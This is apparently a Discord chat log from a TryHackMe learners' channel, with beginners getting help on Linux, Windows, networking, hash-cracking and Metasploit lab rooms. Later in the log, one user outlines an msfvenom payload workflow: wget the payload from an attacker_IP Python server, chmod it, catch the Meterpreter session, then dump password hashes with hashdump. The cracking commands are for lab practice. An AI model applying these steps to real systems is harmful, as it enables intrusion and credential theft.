i suck at networking . most of it really just went over my head. any tips?

im done with pre security just few more tasks left
what room should i go for next ?
goal is to go to blue team and be a cybersecurity engineer

[supple nexus]

You can follow this path if you want to pursue a SOC career

What did i miss?
I started the http.server through python and opened a new terminal tab, but it refuses to connect?
Linux Fundamentals Part 3 Task 4

[supple nexus]

You need to connect to target via ssh and start server on it not on your AttackBox

[limber otter]

Thank you so much!! : )
Also thank you for taking the time and helping me and others here with the first steps in cybersecurity,i really appreciate it.
With that i´m done with the pre-security-pathway. : )

hello

I am stuck on PreSecurity https://tryhackme.com/room/windowsfundamentals1xbx "What is the name of the other user account?" I cannot find this anywhere... I tried Administrator,Default Account,Guest, WDAGUutility.. and nothing seems to get me past this. Please help!

[limber otter]

run the "run" comamnd as shown in the image, then type "lusrmgr.msc", you will find it there, happy hacking : )

[halcyon warren]

This is where I am stuck. Thank you all very much for the support!!!

[somber current]

Gave +1 Rep to @limber otter (current: #3157 - 1)

[limber otter]

Maybe the second last one? So the Shaun.Kougioulis one?
For me it was a other name, try both versions so "Shaun.Kougioulis" and "Shaun Kougioulis".
If it´s not that, did you followed all steps or did you only read through it? : )

[olive ether]

something is wrong with your target VM: you should not have that Shaun Kougioulis account, unless somebody (you?) created it
I suggest you do not waste your time: terminate your instance and start a new one, hoping you have a cleaner environment

[limber otter]

Shy1 just mentioned that something might be wrong with your VM, you must do this task on the VM given there, i think you use your own windows pc(not sure though), this might be the error?

[halcyon warren]

Yeah, this is me. However, I do not remember creating it, but I have had several Techs helping me with support. If I delete this, is there an risk of losing data or needed program files? Lastly, shouldn't there still be the other account needed to answer the question in the last photo that I posted? Thanks again.

[somber current]

Gave +1 Rep to @olive ether (current: #13 - 813)

[halcyon warren]

I did try Shaun Kougioulis, but it is 1 character long than the question if the last photo" What is the name of the other user account?"

[halcyon warren]

Thanks. What is VM? i did have A few techs help me with my pc, or maybe I created it, IDK. What should the user be here by default?

[somber current]

Gave +1 Rep to @olive ether (current: #13 - 814)

[halcyon warren]

Thanks. I am unsure if it is an error. Yeah, I am using my own windows PC. Am I supposed to be using the machine in the program? IF so, I was unable to find the start button to get to the "run," command

[somber current]

Gave +1 Rep to @limber otter (current: #2076 - 2)

[halcyon warren]

If I am supposed to use the machine within the program, I believe this is linux. Should this be Windows?

[limber otter]

Make sure you have chosen the windows machine as shown in the image:

[halcyon warren]

Thank you! however, I do not see the option for windows. I installed VPN GUI, but still not windows... This is frustrating!!

[olive ether]

I am catching up with earlier messages
it could be like Redoks hinted at you are not using THM target VM for this task
[VM stands for Virtual Machine]
check the screenshots showing the steps to get the target VM up and running
also, if you are new to THM, spend some time getting familiar with THM environment, as per this past message: #site-support message

[supple nexus]

Click green start machine button in task 1

[halcyon warren]

Not sure why but I don't have the option of A windows machine. It directs me to install A VPN and upload A file, which I did, but still no option for the Windows Machine.

[limber otter]

Can you make a screenshot of the first page of Task1 "Introduction to Windows" what you see there?

[halcyon warren]

What is the THM? When I open the attack box it only offers me Linux or to install VPN and download the file, Which I did, but it is still not showing A windows machine. Sorry to seam difficult.

[halcyon warren]

This is the firs option after resume learning

[halcyon warren]

I started the machine right after... I showed Windows!! TY! Do you think this would stay on windows throughout? I really appreciate you help, THANK YOU SO MCUH!!!

[limber otter]

The machine will stay 2h, after that it will get automatically terminated (if you dont do it beforehand)
When you are done with the whole task,make sure to terminate it and open the one shown in the next learning session. (ex. the one in Windows Fundementals 2) as also always mentioned there.
Note: THM is the short version of "TryHackMe",so the website you are on, happy hacking : )

Hi guys,
I'm new here and I need some direction or guidance on my journey in cybersecurity.

hey all, im on part3 for learning linux and im trying to log into my ssh and its saying my ip is "machine_ip" i type all that in and saying invalid.

i do wanna confirm if im typing it in right i do " ssh tryhackme@MACHINE_IP

am i missing something because now looking at it, it seems like i am

nvm guys appaerntly i didnt properly open my machine

my machine wants to take its time lmao

well i got it but idk the password

help needed

i could be having a brain fart

[kind ember]

Username and password should both be tryhackme

[eternal inlet]

ill give a try

but it says my target pc is linuxfundpart3-badr

[eternal inlet]

that worked thank you so much!!!

[somber current]

Gave +1 Rep to @kind ember (current: #567 - 12)

[kind ember]

Happy hacking 🙂

[eternal inlet]

sorry again poeple. can someone help explain and help me out here

wait

nvm

actully no i need help

[eternal inlet]

HELP!!!!!

@kind ember u seem like a smart person. are you able ro help me out here?

okok ik "hacking" and ctfs are all trial and error till you get what ur looking for but im genuianly boutta crash out

like what does it mean deployed instance

[kind ember]

deployed instance is another word for the target machine you started

[eternal inlet]

and how would i find that?

im trying to read threw. i have really bad comprehension

ive been googling and using ai and cant find anything that guides me to my answer

[kind ember]

you still need to be using ssh to the target machine, are you doing that?

what you want to do is ssh to the target machine, then run a command to see the running cronjobs

[eternal inlet]

yes im in linux3 user thing

i might actully be speical

never giving up tho

[kind ember]

so run crontab -e

[eternal inlet]

im on that

[kind ember]

can you send screenshot of what you see?

[eternal inlet]

yes yes

dont mind the left side of my screen i thought i had to backtrack. i could very also be making this harder on myself and not realizing

[kind ember]

so the first part of the line beneath the blue text is the crontab

[eternal inlet]

ohhhhh

[kind ember]

or no, the whole line is the crontab, but the first part is when it will run

it can be a day, an hour, or...

[eternal inlet]

right

so do i make it my own?

or do i go by the question?

but it just says" When will the crontab on the deployed instance (10.201.79.64) run?" like im looking for something

[kind ember]

the question is when the crontab will run

it will run every time @

[eternal inlet]

and is that becuase thats the default setting?

[kind ember]

I guess default is just no crontabs at all, but at this deployed instance they have added a crontab

[eternal inlet]

your actully a smart fuckinh person. @kind ember i do really apprisate you dont mind my spelling lmao. is there anyway i can promote you to anything or help you back? your a great person!!!!!

thank you so much for helping me!!!!

[kind ember]

no problem, glad you got it working 🙂

[eternal inlet]

help needed

not sure if im doing this wrong or my machine isnt working

just keeps timing out

[eternal inlet]

HELP

[halcyon warren]

I have been stuck on this forever!!! "Note:if you click on ADD SOMEONE TO THIS PC from OTHER USERS, it will open LOCAL USERS and MANAGEMENT" I have no idea what this means. There clearly is not option here to add someone else. WTF? If I double-click users<New User I get the second image. I am totally baffled!

[supple nexus]

that ip is wrong

[supple nexus]

You are not supposed to add new accounts , just enter the name of the non-standard account in the answer box

[halcyon warren]

OMG!! I finally got it!! Only took me 1-week! Here is the secret. After you click on users there is A list in the middle under (Full Name). Just run your cursor over the 4th one down. For example: The 4th one down on my list said "tryhackme..." but when I rand the cursor over it, without clicking, it gave me the answer ( tryhackmebilly). I sure hope this helps someone else.

you launch System Configuration as per the beginning of Task 2:
There are several methods to launch System Configuration. One method is from the Start Menu.

Hey everybody! I'm almost done with the networking fundementals section and I'm starting to worry i'm going to get stuck soon becuase i'm moving pretty quickly. I'm wondering if I will need to stop today to try to memorize what i've learned so far. Thoughts?

I'm taking notes in notion but ultimately will need to make flashcards. I have Anki for flashcards.

Also I was trying to close a new connection I made with IP 8.8.8.8 to port 1234 in nc (Netcat) and couldn't figure it out.

[halcyon warren]

I am having A very difficult time with Windows fundamentals 2! I am on task 3 and really have no idea how find these commands. I do now want to cheat myself and just google the answer, but I don't know where to even begin looking.

great man

i'm gonna check it out

[steel orchid]

Ok bro give me feedback here thank u

Hey guys, I need some guidance on where to start with cybersecurity.
I’ve learned web dev (HTML, CSS, JS, Laravel) and some Java (up to sorting/searching), but I’m not sure how to take the first step into cybersec. Any tips?

[supple nexus]

You can start here 🙂
https://tryhackme.com/resources/blog/free_path

[halcyon warren]

Thanks for the info. However, I am not fining the commands through A prompt, just searching form the startup. Where am I supposed to find the commands? I keep seeing similar questions asking for commands and I find myself either asking here or google. Dont feel I am learning anything, Thanks.

[somber current]

Gave +1 Rep to @olive ether (current: #10 - 909)

[halcyon warren]

Windows fundamentals 2 Commands. I have encountered many questions asking "What is the command to open..?" However, I am not seeing any commands, I am only searching the windows. When I ask echo, it says "it looks like you haven't taken any actions yet." Makes me think I am not using the program correctly. Please advise, Thanks.

[olive ether]

let's highlight a few points for Task 3:

• Task 3 is about UAC
• UAC stands for User Account Control
• Q1 for Task 3 is about User Account Control settings
  suggestion:
• investigate the Tools "available through the "System Configuration panel" as per my previous message
• hence:
  • launch "System Configuration panel"
  • do "reconnaissance" of "System Configuration panel" by browsing throug all the tabs
  • concentrate on what relates to Tools, and then concentrate on what relates to UAC to find the command expected by THM
    if you need further guidance:
• unblur the attached screenshot
• ask Echo (THM AI assistant)
• look up some writeups, or better watch a video for the room
  • writeups are usually brief, but often do not provide lots of explanations
  • I like videos of users going through a room un-rehearsed, as you see where the diffiulties are and how they troubleshoot them:
    • on the plus sign, I find it a rich learning exercise
    • these un-rehearsed videos have the disadvantage of being long (like 1+ hour), so you may want to jump backward/forward at times
      finally: there is nothing wrong with googling or checking writeups/videos:
• searching for information is a skill, and it is good to practice it and improve on it And BTW, do not discard searching with AI, like THM Echo or ChatGPT-like AI assitants By searching I do not mean passing THM questions to Google or ChatGPT, I mean phrasing a question the same way you are asking yourself how to solve a challenge
• you may see learning as asking questions and finding answers: some of them are in THM text, or in your head. or in the internet
• do not get bogged down by discarding particular help, try to find some balance so that you keep learning and moving forward 🙃

I’m going through this path for fun just to check it out. Most of the content is fine, but the windows fundamentals 2 room is kind of outdated, the malwarebytes blog link was dead, and some of the questions are really boring/repetitive. I feel like this room is in need of an update and polish. I mean no disrespect, this is just my honest feedback.

[dense bone]

This is not a thing to worry about because everyone comes with a different perspective so what I zoom thru you may get stuck on for a week & what you zoom thru I will be tearing my hair out over - so just keep taking those notes & try to keep them organized with good command examples (make it obvious maybe some bright color) what parts are the parts that you need to fill in for each case (IP addresses, file names, etc). Believe me - you THINK you will remember now but 20 rooms on - you won't!! 😂 & 100 rooms from now - not a chance!

Hi! I finished the pre-security path today. I don't have a computer science background and I feel like I don't have a solid grasp on Network fundamentals and how the web works.

I'd say it will help to have a good understanding of networking and web, it will make it easier. But the paths are also tailored to address the fact that many start with a non-technical/IT background.

i was thinking the same idea, for now, ill just absorb as much knowledge a i can

[austere solar]

my knowledge definitely improved after going through a few lessons that i wasn't too knowledgeable or have trouble understand. like tcpdump, wireshark, and nmap. my linux improved along the way as well.

[bright plume]

it would be better if you discuss whatever you are studying or practicing with someone doing the same path, grow along the way

[austere solar]

maybe we should ask the thm to make three new channels, blue teem, red teem, and purple team. this way it helps the discussions and practices.

that would be good for starting

Studying Ejpt path

In preparation for my INE ejpt exams and certification in 2026

[austere solar]

great! why INE ejpt? i was doing some research to compare certs

[minor niche]

thats nice, good use of your time as well

Im currently in college doing computer science, and taking on thm lessons on the side

[austere solar]

yeah, my current position doesn't really have me do much at work.

word! i got computer science A.S.

[minor niche]

hopefully everything goes to plan

[lapis aurora]

🎉

Speaking of which, I really gotta get back to learning. School's been my excuse away from it.

[bright plume]

I did complete the part 1

part 2 ,3 requires cash, so its pending, unless there is some subscription

[thick vault]

How to copy link download in tryhackme??

i try to download file form website to attack box use wget but i cant get the file link

[austere solar]

did you tried typing the whole link?

[thorny jolt]

Having issues in the how websites work room. I copied and pasted the code given to me, and it still errors. It will not fix itself or work.

[drifting patrol]

tryhackme does have a subscription

[drifting patrol]

what was the code you copy pasted? did you get it to work yet?

[thorny jolt]

Still not working. I’ll send it once I get back online

[drifting patrol]

sure, yea it sucks cloudflare shut everything off 🙁

[thorny jolt]

I’m about to head to my last college class of the day so I’ll send it after it over

[drifting patrol]

good luck

[austere solar]

anyone available to give me some advises for password cracking?

[buoyant gazelle]

Hey ! Don't know if I could help but we could see, as I've seen your are on the cryptography basics course, is it with john the ripper you need help ?

[austere solar]

nah, its the password cracking before the john the ripper

thank you for reaching out

[buoyant gazelle]

hashing basics ?

[austere solar]

hashcat

sorry, yes it it the hashing basic haha

so, the hint was use online service

[buoyant gazelle]

I see, what would you need help with ? Done that course yesterday so it would train me well if I could help you

Yeah, I had some troubles with it as well if I remember well

[austere solar]

so, I understand how to use the hashcat command.

how do I identify the hash ID if there is no prefixes.

how do you go about trying to solve this problem

[buoyant gazelle]

I think it is done on purpose to make us look and search on the internet

[austere solar]

i tried avoiding using the hint if i can because im stubborn like that

[buoyant gazelle]

yeah I remember Hashcat couldn't solve it

I like to you this tool https://www.tunnelsup.com/hash-analyzer/ to indentify the hash

[austere solar]

i discover that tool like 10 minutes ago

[buoyant gazelle]

Try this one

https://crackstation.net/

It gives you the answer

[austere solar]

yeah, i used that one to find my answer haha

[buoyant gazelle]

But I can't figure why hashcat doesn't do the job on that one :/

[austere solar]

its funny because if we can identify the hash ID. why can't we crack the hash

[buoyant gazelle]

As I said, I think it is made to make us think and search, if I remember well, somewhere in the room, they tell us "We advise you look for the available ressources on the internet" or something like that in one of the chapters of this room

[buoyant gazelle]

You will see that in the next room 😁

John the Ripper was pretty fun eventually

[austere solar]

https://tenor.com/view/a-haunted-house-confused-huh-what-stare-gif-17189271

im definitely tagging you if i need help haha

if you don't respond within 30 to an hour. i will probably found my answer haha

[buoyant gazelle]

Haha don't worry, when begining with cryptography I understood NOTHING (I am very, very, very, veeeery bad at maths), there was too much mathematics concepts explained haha

[austere solar]

the diffie-hille ones got me

[buoyant gazelle]

Well depending on where you live, I will or I will not be available at that time haha

[austere solar]

i didn't understand one bit of it

no worries. i appreciate you responding

[buoyant gazelle]

The whole maths got me no worries

[buoyant gazelle]

Glad I could, always a pleasure to share my experience when I can

But yeah, no maths for me and everything should go as planned

[austere solar]

@buoyant gazelle officially on john the ripper course

[buoyant gazelle]

Have fun dude

It's not that difficult you'll see

[austere solar]

thanks

[austere solar]

@minor niche we're staying strong?

[minor niche]

yeah bro, its been a busy week for me but i am staying strong

I havent done anything today, but ill try to get some stuff in later

[austere solar]

one task per day will keep you going.

same... i have been exhausted with covering shifts for co workers.

my sleep is all jacked

[minor niche]

I try to remind myself, times like these are ultimately what build the future we want. The sacrfices, late nights, hard concepts that make you rethink your choices, etc, all build up to that life we all dream of.

[austere solar]

@buoyant gazelle i need your assistant haha

its john the ripper

in task 7 of john the ripper: the basic, its talks about single cracking mode.

[buoyant gazelle]

What can I help you with ?

[austere solar]

so, for this single cracking mode. i am not getting the result

[buoyant gazelle]

Okay, so here's the explanation : it is explained in the task that if you can do a word mangling, so by knowing the username (Poltergeist for example) you can tell John to do a word mangling, so he'll try replacing the E with 3 etc

[austere solar]

i understand the mangling

[buoyant gazelle]

Knowing that, what you can do is attributing the hash of the password found in the Task 7 directory to the user Joker

So you can do the command cat file.txt

[austere solar]

what i am not getting is when i typed the command john --single --format=xxx -wordlist=xxxx

[buoyant gazelle]

Copy the hash that it gives you

[austere solar]

its not producing it

[buoyant gazelle]

And then you can do echo "Joker:hash_found_in_file" > file.txt

[austere solar]

ahhh ok

[buoyant gazelle]

Then you do the command john --single --format=hash_format -wordlist=xxxx

[austere solar]

i get it now... thanks

see! i knew yuou be around to help when i needed haha

[buoyant gazelle]

Haha always a pleasure 😁

[minor niche]

16 day streak: Still on network fundamentals, but i am in the last room, i should finish it tommorow and start the web module

[solid charm]

You’re rocking it bro 💪💪

[austere solar]

yo! why is Moniker link section vm is so whack out? its so hard to do anything.

[austere solar]

this one its gonna be rough haha

[minor niche]

Pre security -> 39%
Just finished the networking portion, learned alot, I am currently onto the web module, ill probably finish the presecurity by the end of the year

I honestly really enjoyed the network portion of the pre-security. I might think about learning more in-depth about networking once I've gotten my sal1 certification. I might do the Network+ + cert or the CCNA. But for right now, i dont want to move the goal post much, ill stick with this

[austere solar]

same, i was thinking the same thing...

[south glade]

hey guys, I'm in the Windows Fundamentals Section and currently doing Windows Fundamental 2, and I'm at "At what time every day is the GoogleUpdateTaskMachineUA task configured to run?" and I did check Task Scheduler > GoogleUpdateTaskSystem > Triggers, but that's a wrong answer, why?

[austere solar]

can you show the image?

[south glade]

Sure

[gentle light]

I bumped into the same earlier and googled the answer because the value did not match at all 😔

[south glade]

yeah same, I just asked the AI Bot, I spent 30 minutes on this...😭

[buoyant gazelle]

@austere solar How are you doing my friend ? Everything is okay ?

[austere solar]

i went back to check my answer and the went to go look for myself. that is not the answer i gotten last time. I wonder if they change it.

[austere solar]

hey, im doing good. thanks for asking. how about yourself? i'm slowly making progess because of the holidays and overtime work i am receiving.

[somber current]

Gave +1 Rep to @buoyant gazelle (current: #3294 - 1)

[south glade]

Should I report this to any mod? Maybe it's an error?

[austere solar]

yeah, because i know they make changes to some rooms. but i am not sure which one

i assume you got through it after googling the answer.

[buoyant gazelle]

I'm doing fine thanks 😄 Advancing room by room

[somber current]

Gave +1 Rep to @austere solar (current: #1627 - 3)

[austere solar]

Nice!!! Yeah, i need progress a bit more. I want to finish the cybersecurity before the end of the year.

[late summit]

how can i reset a pathway??

got it, i have to reset every room manually!!

[buoyant gazelle]

You're doing the Cybersecurity 101 if I'm correct ?

[austere solar]

im half way there... im on the metasploit.

[buoyant gazelle]

That one's a huge piece but loved that part actually, really shows usefull tools and helps you visualize how vulnerabilities are exploited, less words, more practice haha

I'm at 74% of the pathway, it it a huge one

[austere solar]

the introduction was a bit confusing. because they were showing meterpreter. and i didn't know how to access it. but i am on metasploit explotitation now.

[buoyant gazelle]

Yeah I remember being confused at this moment as well :/

[austere solar]

have you used any of the tools since started?

[buoyant gazelle]

No but I am following, in addition of TryHackMe, a cursus of 8 months that would give me the certification to be a SOC analyst so I will see it through my cursus, I am just preparing myself for this moment, and you ?

[austere solar]

no, but i am thinking of using wireshark. add that to make skills

[buoyant gazelle]

Wireshark seems fun as well as per the few modules I've done on it, looking forward to going further into it, but it is not for the same pupose as Metasploit/Meterpreter

[silent hornet]

Hi guys, I will be starting my pre-security-pathway today and I hope I enjoy it and that everything goes well

[austere solar]

https://tenor.com/view/good-luck-sign-of-the-cross-best-luck-gif-2212408365439734707

[austere solar]

@buoyant gazelle i think i am having a little trouble with metasploit

[buoyant gazelle]

What is the problem ?

[austere solar]

did you use portscan?

nevermind... the vm was bugging and i didn't get the result or how i picture it would be

did you have an issue when using nmap to look for the netbios?

[buoyant gazelle]

Yeah had a few issues with nmap

[austere solar]

i didn't know how to use the cmd for it. have to look it up

[runic mauve]

if someone morrocan here

[austere solar]

@buoyant gazelle i dont seem to understand how to get meterpreter

[buoyant gazelle]

Hey ! Sorry it was 4:38am when you sent the message so I was sleeping haha

Meterpreter is in the Metasploit framework, you have to use the correct exploit, and once it is done correctly, you will be able to use meterpreter on the target system

Btw, I finished the path Cybersecurity 101, I'm going on the soc lvl 1 path now

[austere solar]

congrats!

[austere solar]

no worries man... i shouldn't have been up late. i think i need more play around metasploit a bit more.

[minor niche]

[uncut field]

Same here ... still not fixed I guess.

[pearl jungle]

I'm stuck at this same point, any luck on your end?

[restive bronze]

go upload this shit on other place

[austere solar]

@buoyant gazelle hey

need some clarification. im on msfvenom.

[buoyant gazelle]

Tell me everything

[austere solar]

when i am setting up my payload it is on the machine i am useing to attack. correct?

which also include the encoder

and the handler is what i use on machine that I ssh into, correct?

this is the part that i am confused about

[buoyant gazelle]

Gimme a minute to check the module so that it's clear in my mind

[austere solar]

no worries

[buoyant gazelle]

I just had a whole day doing CTFs at my school so my brain is a bit mixed up haha

[austere solar]

nice

[buoyant gazelle]

Okay I seem to remember a bit

So for msfvenom to work correctly, you gotta create your payload that comes from meterpreter and send it on the target machine

LHOST = <your ip>

And once you send your whole payload with msfvenom, you then have to wget it from http://<attacker_IP>:9000/script.elf

[buoyant gazelle]

Forgot to mention you have to run a local python3 server listening on port 9000

[austere solar]

ok

[austere solar]

wget have to be loaded to the victim machine?

[buoyant gazelle]

The script you use wget for yes

So on targeted machine don't forget to chmod it

[austere solar]

my handler and is not catching the .elf

[austere solar]

@buoyant gazelle hey i dont understand this part

Use a post exploitation module to dump hashes of other users on the system.

[glossy eagle]

I’m waiting until this Friday to get the subscription for THM. In the meantime, does anyone recommend or have any resources they could share to me for me to learn more about the Network/Lan or the Lenox modules that are in the pre-security section?

[buoyant gazelle]

You gotta use meterpreter on targeted device

[austere solar]

im on the the meterpreter

[buoyant gazelle]

The pst exploit module to use is called hashdump

[austere solar]

right, am i using it on the meterpreter? or msfconsole?

[buoyant gazelle]

So background the meterpreter session and search for the hashdump module

[buoyant gazelle]

You got to relate it to your session

So set SESSION 1

[austere solar]

thank you so much!!!

[buoyant gazelle]

My pleasure mate 😁

[austere solar]

if we ever meet, i owe you a beer haha

[buoyant gazelle]

As a belgian, that is an offer I cannot refuse haha

try not to spam the same thing over if no one get to you. there other rooms as well you get someone to answer your questions.

you can always youtube.

i dont have any resources to give you other then what i have on youtube if you want that. as fo lenox modules. don't have that

[glossy eagle]

I understand. I didn’t realize I had shared it in this room already. My apologies.

Hey guys i am new here can i also get certs here?

[weary oriole]

You have to pay for the exam to get the cert

[sweet yew]

so i can learn here and do the exam elsewhere?

[boreal python]

, windows fundamentals 2, task 4, "At what time every day is the GoogleUpdateTaskMachineUA task configured to run?", can't find it on the machine, also tried the answer i found online and in the the discord here and it says it's wrong, maybe i'm crazy
After reading the medium writeup and using chat bots i got the answer 6:15Am but still it’s not working
Kindly fix the issue

[austere solar]

sure, each exams is base off of what you know and learned. thm and htb are practicals exams.

[austere solar]

hey did you tried the one on the googleupdate?

someone else had the same issue.

[boreal python]

Yes

[austere solar]

are you still having an issue?

[boreal python]

Yes it’s haven’t been patched yet

After giving the correct answer also it’s showing error or wrong wrong

[austere solar]

so 6:15 am and 5:15 am doesn't work?

[boreal python]

I tried 6.15AM only

[austere solar]

what's the one on the googleupdatetask say?

[boreal python]

Should i try 5.15 am also ?

[austere solar]

you should do the one that is in task 2

[boreal python]

In the machine that type of file doesn’t even exists

[austere solar]

let me check if you wanna hop on i can run it through with you

[boreal python]

Yes sure

[austere solar]

small room

[boreal python]

I have sent you the img check that

You can clearly see it’s website or THM room bug

the GoogleUpdate something

[gusty aspen]

SAMEEEE

5:44am doesnt work, 6:15am as wel

[inland bone]

what do we answer to complete that?

nothing works

[austere solar]

@gusty aspen you two still need the answer? i can give you it as long you guys know how what compmgmt does

[gusty aspen]

yes, i know how compmgmt does

Did u check it as well? I really cant find that task

I saw a walkthrough online for that particular level, that only, and i saw how easy they were able to find that task in the task scheduler linrary

[austere solar]

i completed it awhioe ago.

since they did something to it my answer changed

[gusty aspen]

Was it fine for u?

Can u check mumbai server

Im from ph and the machine was in mumbai server

[austere solar]

they definitely did change the answer but did not correct the one in the vm

[gusty aspen]

ah

so the vm isnt correct

[austere solar]

here', tried this time - 8:44 am

[gusty aspen]

Thank you!

[austere solar]

did it work?

[gusty aspen]

Are u part of the developers?

Wait

[austere solar]

no,

[gusty aspen]

Will try

Damn how did u find that out

[austere solar]

i sent that in the email to the support to let them know that issue

that was from yesterday

i just log into the same task 4 and here what i got:

good luck with the rest of the lessons.

[gusty aspen]

Yeah, we got the same

[austere solar]

@inland bone i hope you see this so you can continue

[gusty aspen]

5:44

Btw how did u send a screenshot

Cant send

[austere solar]

did you read the #start-here channel?

its tells you what to do to screenshot

[gusty aspen]

mb, i just read #rules

Thanks

[austere solar]

Yup

[gusty aspen]

@austere solar

damn

all of a sudden

5:44 works now

[austere solar]

what the fuck!?

[gusty aspen]

yes

[austere solar]

Got question. Stuck on a module. Extending Your Network, the very last module that simulates a network. I’m getting the flag and the website isn’t liking my answer…

[buoyant gazelle]

Hey ! I can try helping you. I have the exercise right here in front of me. May be you could DM me the flag that you have gotten ? So that you don't give the answer in front of everybody 🙂

hey if anyone wants to join in large study room. welcome!

@austere solar may i ask how does the levelling in the discord server works

like the 0x something

btw, i just finished pre-security, what can you suggest i take for SOC

[austere solar]

I think its just being active i. Discord. And for the thm. Its keep doing the lessons and earning badges.

I think

[weary oriole]

Ii think maybe you were just looking at the next run time or last run time, but the real answer is in the trigger, which is set to Daily. That’s why the answer is 5:44 AM

[austere solar]

hey i checked and if you looks beyond that screenshot. you willl see two different ones. and they did it correctly.

[austere solar]

@buoyant gazelle its over for me... i am done with metasploit and now on the blue

[buoyant gazelle]

Good luck for this one !

[austere solar]

did you do your metasploit on your own vm or use the one from the site

[buoyant gazelle]

With my own VM as I remember

[austere solar]

ok

did you have any issues running or exploit?

[hoary kettle]

Hey all! I have just completed my third day in a row of pre-security and thought I'd pop in and say hi. I don't have any background experience in anything related to cyber security/hacking, so this is all very new to me (and a little intimidating). Pentesting seems like an avenue I want to explore more, but do not want to get ahead of myself lol. Is there any insight/advise that anyone can give me for entry level projects or experiments I can do to help me learn some skills that I can do on my own time? I have already dipped my toes in a VM but don't really know too much about what I can do with it. Might be getting over my head with this too, but if there's anything, I am eager to know!

[austere solar]

start learning linux and network, that would be my advices for yu

experiments = have two VMs open and see if you can ssh and rdp and how to setup a server.

[hoary kettle]

What in the wide world is ssh and rdp

Never mind I figured it out. Thanks a ton for your insight!

[buoyant gazelle]

Nope

[quick flax]

In the Linux Fundemantals Part 2, I'm struggling getting logged into the terminal using the credentials the lesson is telling me to do so.

Not sure where I'm messing up at.

Nvm. Misread which IP to ues.

[buoyant gazelle]

I would also add to the good advices from @austere solar that it is better for your learning to really take time to read and search for any term or abreviation you do not know, Google is a very good friend when practising THM 😄

And if you are stuck on a task, prefer reading the whole task once more and search by yourself instead of getting the answer on some website 🙂

[placid tide]

he's talking about trying to remote access into a machine hence "RDP" (Remote Desktop Protocol)

[weary oriole]

I’m proud that I’ve finished the pre-security pathway yahooo!

[gusty aspen]

same here

[gusty aspen]

@austere solar my guy, can i ask for help

[austere solar]

whats up?

if i dont respond back. im in bed

[gusty aspen]

its about the active directory, i used the command for the changepasswordatlogon for sophie, i cant change my password on logon, i had to manually set it up using ps

i want to try the "changepasswordatlogon"

[austere solar]

did it work for sophie?

[austere solar]

did you check you typed correctly

[gusty aspen]

yes yes

the manual one only worked for sophie

but the changepasswordatlogon, did not

[gusty aspen]

test

[austere solar]

if you still have some issue. we can hop on chat and see the issue.

[austere solar]

@gusty aspen how did you make out? were you able to complete it?

[gusty aspen]

hello, sadly no, i just let it go

maybe in the real world it would work

[austere solar]

if you have time, we can go throught it together and maybe we can resolve the issue.

you can also test it on a VMs

[silent hornet]

Pls guy must I subscribe to get access to the introduction to networking cause I am confused now

[austere solar]

Are you not subscriber?

[silent hornet]

Yes am not

[austere solar]

@austere solar Yeah, that's what I had to do to make it work

[austere solar]

you will encounter that through some of the lessons.

just a heads up

Yo everyone! Finished the pre security pathway a couple days ago and successfully ran my first nmap & ssh on two Kali VM’s in a host only network. I’m currently lined up to start studying for my A+. I’m looking to get more involved in projects/labs and would love to know more about GitHub. I’m hearing it’s a good tool to use for a resume, but would love to know more about it. Any advice is welcome!

[eternal inlet]

anyone online that could help me?

[austere solar]

what do you need help with?

[tacit locust]

https://tryhackme.com/room/hashingbasics

i ned help try to cmd to crack the hash but seems i am doing something wrong

[austere solar]

you do the same thing like first question.

from the look of it you did this: hashcat -m 3200 -a 0 hast2.txt ~/*****/****hast2.txt

which mean it is trying to hash the file hash2.txt which is not in your user home directory

when you hashcat it should be like this:
hashcat -m <hash id> -a <attack mode #> <hash file> <wordlist>

hash file should include the location of the file if you are not in the correct directory of the file.

@tacit locust you did everything correct until the hash file portion which is in correct as well as your -m is incorrect

if you look at the example above.

i hope this help if not, dm me. i can show you

[austere solar]

if you remember reading this part $perfix$option$salt$hash

if there is no parameter before the hash. then it is just a hash. example: 9eb7ee7f551d2f0ac684981bd1f1e2fa4a37590199636753efe614d4db30e8e1 which is a sha2-256

example: $2a$06$7yoU3Ng8dHTXphAg913cyO6Bjs3K5lBnwq5FJyA6d01pMSrddr1ZG --> 2a is the prefix, 06 is option, 2a is a bcrypt

[tacit locust]

Oh yeah thank you I was able to fix it

Great job , keep up the good work 🙂 🚀

[keen bridge]

Hello, im working on a room Jr Penetration Texter/ Introduction to web hacking > Subdomain Enumeration task 2 : In opening the https://crt.sh/ I keep hitting a bad Gateway Error 502. Sometimes ill get in and the make the search and get the error again

[ocean bay]

@keen bridge For me, https://crt.sh/?q=tryhackme.com just works. Are you directly browsing to it or going via a proxy?

[keen bridge]

im using the attack box within the module. but i did try it in my own browser and got the same thing..

[keen bridge]

ill go try it again right now since you said it worked for you ..see whaqt happens

[ocean bay]

I've tried it with 3 different browsers now and it works everytime 🤷‍♂️

[keen bridge]

yes it worked now. yesterday and this morning i kept getting that bad gateway ..but its working now and i was able to complete that module..thank you for the help

[austere solar]

@minor niche my longest streak haha

[minor niche]

Hell yeah bro

Btw what path are you taking?

[austere solar]

i was gonna do web debugging(red team) but i might focus more on the blue/purple team

[minor niche]

Nice. Im one the same path blue teaming, focusing on that SAL1 certification for now. I got a long way to reach it, but hopefully within the early months of 2026. I gotta grind for this.

[shrewd ether]

how do i know if i understand everything correctly?

[austere solar]

you test it out or you can google it

[shrewd ether]

google it?

[austere solar]

so give me an example of something you dont understand or you want to understand

like here is an example

linux command, i would google command and see how an example works if i don't understand the example from the manual page

[shrewd ether]

i ment: how do i test if i understand everything correctly

[long zenith]

Be scientific. Make predictions based on your understanding, and if your predictions are wrong, then you don't understand correctly

[austere solar]

you can built your own homelabs

[austere solar]

i like that!

@shrewd ether look up how to build a homelab. it will help you to put what you learns in practices or your theory to the tests.

[shrewd ether]

that sounds alright, ill look into it

[austere solar]

here is an example of all my vms i have build

[shrewd ether]

can i dm you?

[austere solar]

sure

@minor niche im back to the grind. new year, new me! im at web application basics

[minor niche]

[silver frost]

hi guys

[strange rapids]

hi

[shrewd ether]

do you think its alright to do other modules even tho you havent completed pre security yet?

[sacred dove]

I'd prefer you to finish what you started and then move onto other stuff

[winter breach]

Hi I’m in pre security. How long will it take to load a new virtual machine environment , once the first one has expired?

[sacred dove]

Mostly a minute

[finite dove]

I'm confuse between offensive role or defensive role which is good for me?

[torn tendon]

It is normal to feel that way, many roles have similar elements. If you have not already done so go through the roles in cyber security (https://tryhackme.com/room/careersincyber), and do the quiz at the end of the room a few times and honestly. This will help you find a starting direction. You can always change direction and/or roles later on as you discover your strengths and weaknesses. The more you do the more you will learn your natural role in cyber security.

